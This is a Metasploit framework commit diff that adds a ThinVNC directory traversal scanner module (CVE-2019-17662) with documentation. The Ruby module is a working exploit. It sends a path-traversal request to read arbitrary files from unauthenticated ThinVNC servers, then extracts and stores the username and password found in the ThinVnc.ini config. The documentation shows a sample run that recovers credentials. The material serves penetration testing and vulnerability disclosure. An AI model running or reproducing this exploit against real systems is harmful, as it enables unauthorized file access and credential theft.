Land rapid7#12464, Add ThinVNC Directory Traversal module

documentation/modules/auxiliary/scanner/http/thinvnc_travesal.md

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+## Description
+
+  This module exploits a directory traversal vulnerability in ThinVNC
+  versions 1.0b1 and prior which allows unauthenticated users to retrieve
+  arbitrary files, including the ThinVNC configuration file.
+
+## Vulnerable Application
+
+  This module has been tested successfully on ThinVNC versions 1.0b1
+  and "ThinVNC_Latest" (2018-12-07).
+
+  ThinVNC is available on [Sourceforge](https://sourceforge.net/projects/thinvnc/files/).
+
+## Verification Steps
+
+  1. `./msfconsole`
+  2. `use auxiliary/scanner/http/thinvnc_traversal`
+  3. `set rhosts <rhost>`
+  4. `run`
+
+## Scenarios
+
+  ### ThinVNC version 1.0b1 on Windows XP SP3
+
+  ```
+  msf5 > use auxiliary/scanner/http/thinvnc_traversal 
+  msf5 auxiliary(scanner/http/thinvnc_traversal) > set rhosts 172.16.123.123
+  rhosts => 172.16.123.123
+  msf5 auxiliary(scanner/http/thinvnc_traversal) > run
+
+  [+] File ThinVnc.ini saved in: /root/.msf4/loot/20191017033828_default_172.16.123.123_thinvnc.traversa_713640.txt
+  [+] Found credentials: admin:admin
+  [*] Scanned 1 of 1 hosts (100% complete)
+  [*] Auxiliary module execution completed
+
+  msf5 auxiliary(scanner/http/thinvnc_traversal) > 
+  ```
+

modules/auxiliary/scanner/http/thinvnc_traversal.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Report
+  include Msf::Auxiliary::Scanner
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'        => 'ThinVNC Directory Traversal',
+      'Description' => %q{
+        This module exploits a directory traversal vulnerability in ThinVNC
+        versions 1.0b1 and prior which allows unauthenticated users to retrieve
+        arbitrary files, including the ThinVNC configuration file.
+
+        This module has been tested successfully on ThinVNC versions 1.0b1
+        and "ThinVNC_Latest" (2018-12-07).
+      },
+      'References'  =>
+        [
+          ['CVE', '2019-17662'],
+          ['URL', 'https://github.com/bewest/thinvnc/issues/5'],
+          ['URL', 'https://github.com/shashankmangal2/Exploits/blob/master/ThinVNC-RemoteAccess/POC.py'],
+          ['URL', 'https://redteamzone.com/ThinVNC/']
+        ],
+      'Author'      =>
+        [
+          'jinxbox', # Discovery and PoC
+          'WarMarX', # PoC
+          'bcoles'   # metasploit
+        ],
+      'DefaultOptions' => { 'RPORT' => 8080 },
+      'DisclosureDate' => '2019-10-16',
+      'License' => MSF_LICENSE
+    ))
+
+    register_options(
+      [
+        OptString.new('FILEPATH', [true, 'The path to the file to read', 'ThinVnc.ini']),
+        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 2])
+      ])
+  end
+
+  def run_host(ip)
+    depth = datastore['DEPTH']
+    filepath = datastore['FILEPATH']
+
+    res = retrieve_file(depth, filepath)
+
+    return if res.blank?
+
+    filename = File.basename(filepath)
+
+    path = store_loot(
+      'thinvnc.traversal',
+      'text/plain',
+      ip,
+      res.to_s,
+      filename
+    )
+
+    print_good("File #{filename} saved in: #{path}")
+
+    # Report vuln and store creds if we successfully retrieved the config file
+    if filename.downcase == 'thinvnc.ini' && res.to_s.start_with?('[Authentication]')
+      report_service(
+        :host => ip,
+        :port => rport,
+        :sname => (ssl ? 'https' : 'http'),
+        :info => 'ThinVNC'
+      )
+
+      report_vuln(
+        :host  => ip,
+        :port  => rport,
+        :proto => 'tcp',
+        :sname => (ssl ? 'https' : 'http'),
+        :name  => 'ThinVNC Directory Traversal',
+        :info  => 'ThinVNC Directory Traversal',
+        :refs  => self.references
+      )
+
+      username = res.scan(/^User=(.+)$/).flatten.first.to_s.strip
+      password = res.scan(/^Password=(.+)$/).flatten.first.to_s.strip
+
+      if username && password
+        print_good "Found credentials: #{username}:#{password}"
+        store_valid_credential(user: username, private: password)
+      end
+    end
+  end
+
+  def retrieve_file(depth, filepath)
+    traversal = Rex::Text.rand_text_alphanumeric(3..5)
+    traversal << '/'
+    traversal << '../' * depth
+    traversal << filepath
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, traversal)
+    })
+
+    unless res
+      vprint_error 'No reply'
+      return
+    end
+
+    if res.code == 404
+      vprint_error 'File not found'
+      return
+    end
+
+    if res.code != 200
+      vprint_error 'Unexpected reply'
+      return
+    end
+
+    res.body.to_s
+  end
+end